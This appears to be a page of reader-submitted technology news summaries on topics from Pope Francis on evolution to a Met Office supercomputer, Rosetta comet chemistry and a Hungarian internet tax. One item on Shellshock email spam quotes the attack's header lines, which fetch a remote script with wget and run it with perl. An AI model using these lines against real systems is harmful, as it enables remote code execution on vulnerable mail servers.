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Hugh Pickens writes:

The Independent reports that Pope Francis, speaking at the Pontifical Academy of Sciences, has declared that the theories of evolution and the Big Bang are real.

“When we read about Creation in Genesis, we run the risk of imagining God was a magician, with a magic wand able to do everything. But that is not so,” said Francis.

“He created human beings and let them develop according to the internal laws that he gave to each one so they would reach their fulfillment."

Francis explained that both scientific theories were not incompatible with the existence of a creator – arguing instead that they “require it”.

“The Big Bang, which today we hold to be the origin of the world, does not contradict the intervention of the divine creator but, rather, requires it. Evolution in nature is not inconsistent with the notion of creation, because evolution requires the creation of beings that evolve.”

Experts say the Pope's comments put an end to the “pseudo theories” of creationism and intelligent design that some argue were encouraged by his predecessor, Benedict XVI who spoke out against taking Darwin too far.

tonyPick writes:

The BBC is reporting that the UK's Met office are buying a new £97Million Supercomputer.

The Met Office is the UK's national weather service agency, responsible for forecasting and climate modelling. The new machine will be built around the Cray XC40.

The "Cray XC40" machine will have 480,000 central processing units or CPUs, which is 12 times as many as the current Met Office supercomputer, made by IBM. At 140 tonnes, it will also be three times heavier.

It marks the biggest contract the Cray supercomputing firm has secured outside the US.

"It will be one of the best high-performance computers in the world," Science Minister Greg Clark told journalists at the announcement, adding that it would "transform the analytical capacity of the Met Office".

This story is also covered at The Guardian and The Independent.

From The Guardian:

The new computer will allow the Met Office to run 1.5km forecasts routinely, updating them every hour. It will also allow forecasters to zoom-in on particular regions to produced highly detailed forecasts. These will have resolutions of just 300m and can be useful for predicting fog at airports, or warning locations at particular risk from flooding.

AnonTechie writes:

Chemist and “semi-recreational” codemonkey Isaac Yonemoto is running a crowdfunding campaign called Project Marilyn to create open sourced, patent-free cancer drugs.

Yonemoto proposes a $75,000 stretch goal to fund an experiment he hopes will prove we can use a compound sequenced from microscopic bug cultures to treat cancer.

It’s a plan that could liberate pharmaceuticals and dramatically lower the cost of anticancer medicine. The global market for these drugs surpassed $1 trillion this year. The average monthly cost of a brand-name cancer drug in the U.S. is about $10,000, according to the IMS Institute for Healthcare Informatics.

Marneus68 writes:

Windows 10 will include a package manager as part of the command line tools provided by PowerShell.

This tool, named OneGet allows the user to manage a list of repositories (including Chocolatey repos) and install software packages. The command line tool is developed in the open under the Apache License as the development of the project was moved to GitHub after community feedback was deemed too "overwhelming" for CodePlex. The contributions don't appear to be very open at the moment.

How-To-Geek published a detailed exploration of tool in its current state if you are looking for a more detailed explanation of what OneGet does and how it does it.

tonyPick writes:

IEEE Spectrum has a a story on Medical device security, which follows a report from Reuters that The U.S. Department of Homeland Security is investigating possible security flaws in medical devices and hospital equipment.

From Reuters:

According to Spectrum the ICS-CERT team:

The Spectrum article also references the 2011 case of remotely hacking an insulin pump, demonstrated by Jerome Radcliffe.

tonyPick writes:

RT is reporting that the FBI have raided the home of a second Intelligence Agency whistleblower.

The Intercept was founded to continue reporting on information provided by Snowden, and to provide aggressive and independent adversarial journalism across a wide range of issues, from secrecy, criminal and civil justice abuses and civil liberties violations to media conduct, societal inequality and all forms of financial and political corruption. The editors include Glenn Greenwald and Laura Poitras, key journalists involved in the original Snowden reporting.

Also reported at Business Insider and The Verge .

dx3bydt3 writes:

Since Rosetta's August rendezvous with comet 67P/Churyumov-Gerasimenko two mass spectrometers on board have been busy analyzing gas being emitted by the comet. At the comet's distance from the sun, currently over 450 million km, it was expected that only the most volatile molecules would be sublimating from the comet, however there is a lot more being detected.

In addition to the volatile carbon monoxide (CO) and carbon dioxide (CO₂) expected, by September they had also detected water (H₂O), ammonia (NH₃), methane (CH₄), and methanol (CH₃OH). More recently they have added to that list with detections of formaldehyde (CH₂O), hydrogen sulphide (H₂S), hydrogen cyanide (HCN), sulphur dioxide (SO₂), and carbon disulphide (CS₂).

As the article states: "If you could smell the comet, you would probably wish that you hadn’t". "The goal is to gain insights into the fundamental chemical make-up of the solar nebula from which our Solar System and, ultimately, life itself emerged." In recent days the jets of gas and dust have picked up in activity; fortunately, the planned landing site on the "head" of the comet still looks fairly quiet.

An Anonymous Coward writes:

Robert Cringley has just posted an extended essay on how IBM can be turned around.

If there's one company that Cringley understands, it's IBM. He's done his research on this company and apparently has dozens of contacts inside the company, plus many more former employees who departed either voluntarily or as part of an "RA" (Resource Action = layoff).

I expected Cringely to go ballistic when CEO Ginny Rometty dropped a three-part bombshell on the financial markets last week: 1) IBM missed its expected revenue and earnings estimates for the quarter by a huge margin; 2) IBM was selling its semiconductor manufacturing business to Global Foundaries; and 3) Rometty was giving up on the infamous "Roadmap 2015" to $20 earnings/share established by her predecessor, Sam Palmisano, which Rometty had been following diligently since she took over the reins in 2012.

Instead, Cringely reacted in a measured way, writing a pair of short analysis pieces for Forbes; the first on how the IBM server business (the high end business the company retained, not the commodity business sold to Lenovo) will be at a huge cost disadvantage over the next 10 years, even after the sale of the microelectronics division to Global Foundaries; second, how IBM's software and services businesses have been badly damaged by frequent waves of layoffs, so that opportunities for revenue growth too often come from tightening enforcement of software licenses and similar gadgetry.

Now, a week after the announcement, comes the longer reaction piece. Bear in mind that Cringley is a journalist and blogger, not a management consultant or financial analyst, so his advice won't be confused with a bound report prepared for management's eyes only by McKinsey & Co. Cringley's prescription follows...

pa63 writes with an article from Computerworld:

The U.S. has changed its H-1B record retention policy to the concern of people who study the visa's impact on the workforce and economy.

In a notice posted last week, the U.S. Department of Labor said that records used for labor certification, whether in paper or electronic, "are temporary records and subject to destruction" after five years, under a new policy.

There was no explanation for the change, and it is perplexing to researchers. The records under threat are called Labor Condition Applications (LCA), which identify the H-1B employer, worksite, the prevailing wage, and the wage paid to the worker.

fliptop writes:

Bloomberg reports unnamed sources are saying Microsoft is working on a server software version that will run on 64-bit ARM processors.

The world’s largest software maker has a test version of Windows Server that’s already running on ARM-based servers, according to the people, who asked not to be identified because the plans aren’t public yet. Microsoft, based in Redmond, Washington, hasn’t yet decided whether to make the software commercially available, one of the people said. Microsoft now only offers a server operating system for use on Intel’s X86 technology-based processors.

Power consumption is often a data center's single greatest cost and data centers running ARM processors will see significant savings.

Red Hat, with AMD, American Megatrends, AppliedMicro, ARM, Cavium, Dell, HP and Linaro, are taking the next step. Under Red Hat's leadership they've started a development project to bring 64-bit ARM to the data center. Before that, Red Hat helped create the ARM's Server Base System Architecture (SBSA), which is designed to help accelerate software development and enable support across multiple 64-bit ARM platforms.

tonyPick writes:

There's a report up on Universe Today about plans from Goddard Space Flight Centre (GSFC) to use Cubesats as an Astronomy platform, giving them a low cost solar coronagraph platform to demonstrate new technologies.

The NASA Press Release has more information on the mission objectives and development plans.

gewg_ writes:

A water filtering company disagreed with the content of a YouTube video which touted their competitor, BestWater, so the company embedded a link to that video in their own site. BestWater claimed infringement and sued.

El Reg reports:

No change, no new audience, no offence

The European Court of Justice has decided that even an unauthorised video can be embedded by a third party without creating a new infringement.

[...] Its reasoning is that since the video was already available on YouTube, and since the defendants merely embedded a link in a Web page--they didn't make any changes--the embedding didn't communicate the content to "a new public". As a result, it didn't create a new infringement.

With thanks to TorrentFreak for its translation, the [judgment] reads: "The embedding in a website of a protected work which is publicly accessible on another website by means of a link using the framing technology ... does not by itself constitute communication to the public within the meaning of [the EU Copyright directive] to the extent that the relevant work is neither communicated to a new public nor by using a specific technical means different from that used for the original communication."

The decision doesn't change the status of the original video, however. For example, had BestWater DCMA'd the video at YouTube, it would probably have been taken down, leaving the defendants with a blank embedding on their site.

fliptop writes:

It didn't take long for criminals to start exploiting the Shellshock bug. Although the process is slow, vulnerable MTAs and MDAs are being targeted with email containing specially crafted headers:

The messages themselves are blank, but the code needed to exploit the Shellshock vulnerability is placed into the message's headers.

The person(s) behind the spam blasts are including the following code in several message fields, including the "To:" field, "From:" field, "Subject" field, "Date:" field, "Message ID:" and others.

Message-ID:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend

References:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend

A full list of the fields is available.

NotInHere writes:

In Hungary, the government of Victor Orban wants to impose world's first traffic-based tax of 150 HUF (0.62 USD) per gigabyte of internet traffic.

According to economy minister Mihaly Varga, this has been neccessary to "plug holes in the 2015 budget", and to compensate for the people's move of communication habits from 2 cents per min taxed POTS to the untaxed internet. This tax has not just raised criticism by telecom providers, but also resulted in heavy revolts, even though the government later announced to cap the tax at 700 HUF for consumers and 5000 HUF for businesses, and let the telecom providers pay the remaining part.

Nerdfest writes:

The next shot in the advertising/blocking war. AdNauseam is a FireFox plug-in, currently in beta, that works in conjunction with AdBlock and clicks ads while it blocks them.

The project was "initiated" by Helen Nissenbaum, Professor of Media, Culture and Communication, and Computer Science, at New York University.

As online advertising is becoming more automatic, universal and unsanctioned, AdNauseam works to complete the cycle by automating all ad-clicks universally and blindly on behalf of the target audience. Working in coordination with Ad Block Plus, AdNauseam quietly clicks every blocked ad, registering a visit on the ad networks databases. As the data gathered shows an omnivorous click-stream, user profiling, targeting and surveillance becomes futile.

They also state "AdNauseam serves as a means of amplifying users' discontent with advertising networks that disregard privacy and facilitate bulk surveillance agendas".

Will this help things with online advertising, or make them worse, assuming that's possible?